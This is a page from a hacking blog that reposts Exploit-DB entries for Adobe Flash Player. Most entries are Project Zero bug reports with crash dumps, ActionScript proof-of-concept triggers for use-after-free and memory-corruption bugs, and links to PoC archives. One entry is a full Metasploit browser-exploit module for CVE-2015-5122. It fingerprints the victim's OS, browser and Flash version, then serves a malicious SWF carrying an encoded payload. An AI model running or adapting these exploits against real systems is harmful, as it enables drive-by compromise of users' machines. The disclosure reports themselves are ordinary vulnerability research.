Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86399776

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://code.google.com/p/google-security-research/issues/detail?id=400&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample file, signal_sigsegv_7ffff637297a_8900_e3f87b25c25db8f9ec3c975f8c1211cc.swf, crashes, perhaps relating to XML handling.

The crash looks like this on Linux x64:

=> 0x00007f6931226f22:	mov    0x8(%rcx),%eax
rcx            0x303030303030300	217020518514230016

The wider context shows that the wild pointer target can be incremented with this vulnerability, which is typically enough for an exploit:

=> 0x00007f6931226f22:	mov    0x8(%rcx),%eax    <--- read
   0x00007f6931226f25:	test   %eax,%eax
   0x00007f6931226f27:	je     0x7f6931226f80
   0x00007f6931226f29:	test   $0x40000000,%eax
   0x00007f6931226f2e:	jne    0x7f6931226f80
   0x00007f6931226f30:	add    $0x1,%eax         <--- increment
   0x00007f6931226f33:	cmp    $0xff,%al
   0x00007f6931226f35:	mov    %eax,0x8(%rcx)    <--- write back

The base sample from which this fuzz case was generated is also attached, e3f87b25c25db8f9ec3c975f8c1211cc.swf

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37870.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=396&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

A nasty looking crash is manifesting in various different ways under fuzzing, apparently related to drawing and bitmap handling.

A trigger is attached, signal_sigsegv_7ffff5b5aee2_252_0688bbd450e7c095265d00be2fca50ab.swf

The base file from which this fuzz case was generated is attached, 0688bbd450e7c095265d00be2fca50ab.swf

The crash on 64-bit Linux looks like this:

=> 0x00007f69314b8f7d:	cmpl   $0xc,0x174(%rax)

rax            0x83071500ff0300	36881008741516032

If we trace through the usages of %rax, we can get to some bad writes pretty easily:

=> 0x00007f69314b8f7d:	cmpl   $0xc,0x174(%rax)
   0x00007f69314b8f84:	je     0x7f69314b8fa0
...
   0x00007f69314b8fa0:	mov    (%rax),%rdi      <-- rdi compromised
   0x00007f69314b8fa3:	callq  0x7f69314b8810
...
   0x00007f69314b8810:	mov    (%rsi),%edx
   0x00007f69314b8812:	cmp    $0x7ffffff,%edx
   0x00007f69314b8818:	je     0x7f69314b8862
   0x00007f69314b881a:	mov    0x10(%rdi),%eax
   0x00007f69314b881d:	cmp    $0x7ffffff,%eax
   0x00007f69314b8822:	je     0x7f69314b8868
   0x00007f69314b8824:	sub    $0x1,%edx
   0x00007f69314b8827:	cmp    %eax,%edx
   0x00007f69314b8829:	cmovg  %eax,%edx
   0x00007f69314b882c:	mov    0x14(%rdi),%eax
   0x00007f69314b882f:	mov    %edx,0x10(%rdi)  <---- rdi written to

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37866.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=399&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample, signal_sigsegv_7ffff60a1429_9554_f4dc661554237404dfe394d4c6c3e674.swf, crashes in this manner on Linux x64:

=> 0x00007f693158481f:	movzbl (%rcx),%r11d
rcx            0x3102ffffecfd	53888954658045

The base sample from which this fuzz case was generated is also attached. We believe this may be related to button handling.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37869.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=397&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Running the attached swf file in Google Chrome (Linux x64) will eventually result in dialog offering to terminate the slow script. (Not the Google Chrome infobar that says that Flash isn't responding, but the dialog that appears after that.)

Upon electing to terminate the script, a crash occurs.

It is not known whether this bug can be triggered or not without user interaction.

The crashing swf is signal_sigsegv_7ffff5ce5ea4_6963_b1d6342468487426c7ea26c725453e7d.swf

The base file from which the mutated file was generated is b1d6342468487426c7ea26c725453e7d.swf

On Linux x64, the crash looks like this:

=> 0x00007f6931525318:	andl   $0xffffffbf,0x3c(%rax)
rax            0x7ff8000000000000	9221120237041090560

And if we look back in the assembly a bit, the wild value has come from %rbx that points to a block of wild values.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37867.zip
            
The attached fuzzed swf file causes heap overflow when playing a sound.

This PoC crashes a little bit unreliably, it is the most reliable in the standalone Flash player and Microsoft Edge. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44526.zip
            
The attached fuzzed swf file causes heap or stack corruption (depending on platform) when rendering a slab.

This PoC crashes a little bit unreliably, it is the most reliable in the standalone Flash player and Microsoft Edge.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44527.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=792

There is an overflow in the processing of raw 565 textures in ATF processing. 

To reproduce the issue, load the attach file '70' using LoadImage.swf as follows:

LoadImage.swf?img=70


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39826.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=443&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

If an mp3 file contains compressed ID3 data that is larger than 0x2aaaaaaa bytes, an integer overflow will occur in allocating the buffer to contain its converted string data, leading to a large copy into a small buffer. A sample fla, swf and mp3 are attached. Put id34.swf and tag.mp3 in the same folder to reproduce the issue. This issue only works on 64 bit platforms.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37882.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=794

There is an out of bounds read when placing a corrupt image. This issue might be exploitable, depending on what is read.

A PoC is attached. To reproduce issue, put both files on a server, and load:

http://127.0.0.1/LoadImage.swf?img=70


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39825.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=378&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

We've hit the same bug from two different avenues:

1) A report to the Chromium bug tracker: https://code.google.com/p/chromium/issues/detail?id=485893

2) The new Flash fuzzing collaboration between Mateusz, Chris, Ben.

For 1), here are the details (there's also an attachment):

---
VULNERABILITY DETAILS

This is a OOB read vulnerability when processing the SCRIPTDATASTRING object in Flv file.


VERSION
Chrome Version: 42.0.2311.135 
Operating System: Windows 7

REPRODUCTION CASE

See attached file

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: 
Tab

Crash State: 

[WARNING:..\..\..\..\flash\platform\pepper\pep_module.cpp(63)] SANDBOXED
(e38.c34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000006 ebx=003ff0b0 ecx=000ff000 edx=05110000 esi=00000000 edi=00000000
eip=63be351a esp=003ff06c ebp=003ff080 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Google\Chrome\Application\42.0.2311.135\PepperFlash\pepflashplayer.dll - 
pepflashplayer!PPP_ShutdownBroker+0x162327:
63be351a 0fb632          movzx   esi,byte ptr [edx]         ds:002b:05110000=??
4:064> k
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
003ff080 63be379e pepflashplayer!PPP_ShutdownBroker+0x162327
003ff0b4 63cfd02e pepflashplayer!PPP_ShutdownBroker+0x1625ab
003ff0ec 63b3c609 pepflashplayer!PPP_ShutdownBroker+0x27be3b
003ff13c 63cf6d58 pepflashplayer!PPP_ShutdownBroker+0xbb416
003ff14c 63cf6fbc pepflashplayer!PPP_ShutdownBroker+0x275b65
003ff35c 63d11691 pepflashplayer!PPP_ShutdownBroker+0x275dc9
003ff368 63d116d6 pepflashplayer!PPP_ShutdownBroker+0x29049e
003ff4b4 63d0d842 pepflashplayer!PPP_ShutdownBroker+0x2904e3
003ff4fc 63cf99a3 pepflashplayer!PPP_ShutdownBroker+0x28c64f
003ff550 63b94728 pepflashplayer!PPP_ShutdownBroker+0x2787b0
003ff574 63ff0933 pepflashplayer!PPP_ShutdownBroker+0x113535
00000000 00000000 pepflashplayer!PPP_ShutdownBroker+0x56f740
---

For 2), there's a .tar file with a repro SWF in it (may not reproduce outside of analysis tools because it is an OOB read).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37862.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=363&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The following access violation was observed in the Adobe Flash Player plugin:

(1ba8.1c60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FlashPlayer.exe - 
eax=0004c800 ebx=00000000 ecx=08982000 edx=00002588 esi=00001200 edi=0042d46c
eip=017723c0 esp=0042d278 ebp=0042d3c4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x254f0:
017723c0 8b0408          mov     eax,dword ptr [eax+ecx] ds:002b:089ce800=????????

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0042d3c4 0177cfaf 0042d3e0 0042d46c 00000001 FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x254f0
0042d3ec 0177d112 0042d414 0042d46c 00001376 FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x300df
0042d424 0177d4c2 0042d454 0042d46c 00000006 FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x30242
0042d4e0 0176ec7a 00000000 0042d540 03497440 FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x305f2
0042d544 01788715 08875020 47535542 6c61746e FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x21daa
0042d7d8 01775c95 0042d814 01775f31 01775f41 FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x3b845
0042d7e0 01775f31 01775f41 03497440 00000000 FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x28dc5
0042d828 017834d2 03497440 00000000 00000030 FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x29061
00000000 00000000 00000000 00000000 00000000 FlashPlayer!IAEModule_IAEKernel_UnloadModule+0x36602

0:000> db ecx
08982000  35 00 00 00 01 00 00 00-00 00 00 00 00 00 00 ff  5...............
08982010  00 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00  ................
08982020  80 a4 b7 01 00 00 00 00-00 00 00 00 00 10 00 00  ................
08982030  00 00 00 00 18 a8 b7 01-20 50 87 08 00 00 00 00  ........ P......
08982040  03 30 02 00 49 00 00 00-01 00 00 00 00 00 00 00  .0..I...........
08982050  00 00 00 ff 00 00 00 00-00 00 00 00 01 00 00 00  ................
08982060  00 00 00 00 80 a4 b7 01-00 00 00 00 00 00 00 00  ................
08982070  00 10 00 00 00 00 00 00-18 a8 b7 01 20 50 87 08  ............ P..

0:000> !address ecx
[...]
Usage:                  <unknown>
Base Address:           08906000
End Address:            08990000
Region Size:            0008a000
State:                  00001000	MEM_COMMIT
Protect:                00000004	PAGE_READWRITE
Type:                   00020000	MEM_PRIVATE
Allocation Base:        087f0000
Allocation Protect:     00000001	PAGE_NOACCESS

Notes:

- Reliably reproduces with latest Adobe Flash Player Projector for Windows and Google Chrome for Windows.

- The out-of-bounds read appears to be caused by an overly large index value (stored in the "EAX" register at the time of the crash) relative to a dynamically allocated buffer pointed to by "ECX".

- The 32-bit value read from the unmapped memory address is in fact a pointer, and is used to immediately read 12 bytes from in one function up the call chain.

- Attached samples: signal_sigsegv_7ffff710e9d3_881_11431348555663755408.ttf.swf (crashing file), 11431348555663755408.ttf.swf (original file).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37858.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=630

The attached file can cause an out-of-bounds read of an image. While the bits of the image are null, the width, height and other values can make it a valid pointer. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39460.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash opaqueBackground Use After Free',
      'Description'         => %q{
        This module exploits an use after free on Adobe Flash Player. The vulnerability,
        discovered by Hacking Team and made public on its July 2015 data leak, was
        described as an Use After Free while handling the opaqueBackground property
        7 setter of the flash.display.DisplayObject class. This module is an early release
        tested on:

        Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203,
        Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
        Windows 7 SP1 (32-bit), IE9 and Adobe Flash Flash 18.0.0.203,
        Windows 7 SP1 (32-bit), Firefox + Adobe Flash 18.0.0.194,
        windows 8.1, Firefox and Adobe Flash 18.0.0.203,
        Windows 8.1, Firefox and Adobe Flash 18.0.0.160, and
        Windows 8.1, Firefox and Adobe Flash 18.0.0.194
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Unknown',      # Vulnerability discovered on HackingTeam info leak
          'juan vazquez', # Ported to Msf
          'sinn3r'        # Testing and some editing
        ],
      'References'          =>
        [
          ['CVE', '2015-5122'],
          ['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => ['win'],
      'Arch'                => [ARCH_X86],
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :arch    => ARCH_X86,
          :os_name => lambda do |os|
            os =~ OperatingSystems::Match::WINDOWS_7 ||
            os =~ OperatingSystems::Match::WINDOWS_81
          end,
          :ua_name => lambda do |ua|
            case target.name
            when 'Windows'
              return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
            end

            false
          end,
          :flash   => lambda do |ver|
            case target.name
            when 'Windows'
              return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.203')
            end

            false
          end
        },
      'Targets'             =>
        [
          [ 'Windows',
            {
              'Platform' => 'win'
            }
          ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Jul 06 2015',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf

    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
      print_warning("Target setup not supported")
      send_not_found(cli)
      return
    end

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    b64_payload = Rex::Text.encode_base64(target_payload)
    os_name = target_info[:os_name]

    if target.name =~ /Windows/
      platform_id = 'win'
    end

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5122', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end
end
            
Sources: 
https://bugs.chromium.org/p/project-zero/issues/detail?id=716
https://googleprojectzero.blogspot.ca/2016/03/life-after-isolated-heap.html

The bug is an uninitialized variable in the fix to an ActionScript 2 use-after-free bug. Roughly 80 of these types of issues have been fixed by Adobe in the past year, and two uninitialized variable issues were introduced in the fixes. 

 This issue is fairly easy to reproduce, a proof-of-concept for this issue in its entirety is:

  var o = {};
 o.unwatch();

 The bug occurs because the use-after-free check in the unwatch method attempts to convert its first parameter to a string by calling toString on it before continuing with the part of the method where toString  could cause problems by freeing an object. However, Flash does not check that this parameter exists before calling toString on it. In pseudo-code, the rough behaviour of this method is:

  void* args = alloca( args_size );
 for( int i = 0; i < args_size; i++){
  // Init args
 }

 if ( ((int) args[0]) & 6 == 6 )
  args[0] = call_toString( args[0] );

 if ( args_size < 1)
  exit();


Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39631.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=352&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

If the fpadInfo property of a NetConnection object is a SharedObject, a use-after-free occurs when the property is deleted. A proof-of-concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
s.data.fpadInfo = q;
s.flush();
var n = new NetConnection();
ASnative(2100, 200)(s.data);
n.connect.call(s.data, "");
trace(s.data.fpadInfo);
s = 1;

//GC happens here

setInterval(f, 1000);

function f(){

	ASnative(252, 1).call(q); //Array push
	delete q.myprop;
	
	}

A fla, an AS file and two swfs are attached. shareddelete.fla compiles to shareddelete.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and shareddelete.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37850.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1018

There is an overflow in MP4 AMF parsing. To reproduce, put the attached files on a server and visit http://127.0.0.1/LoadMP4.swf?file=unsigned.mp4.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41420.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=759

There is a use-after-free in MovieClip.duplicateMovieClip.If an action associated with the MovieClip frees the clip provided as the initObject parameter to the call, it will be used after it is freed.A PoC is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39779.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844

There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap
	}


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846

If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:

var mc =  this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");

function func(){
	
	mc.removeMovieClip();
	// Fix heap
	var d:Date = new Date();
	return d.getDate;
	
	}	


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40356.zip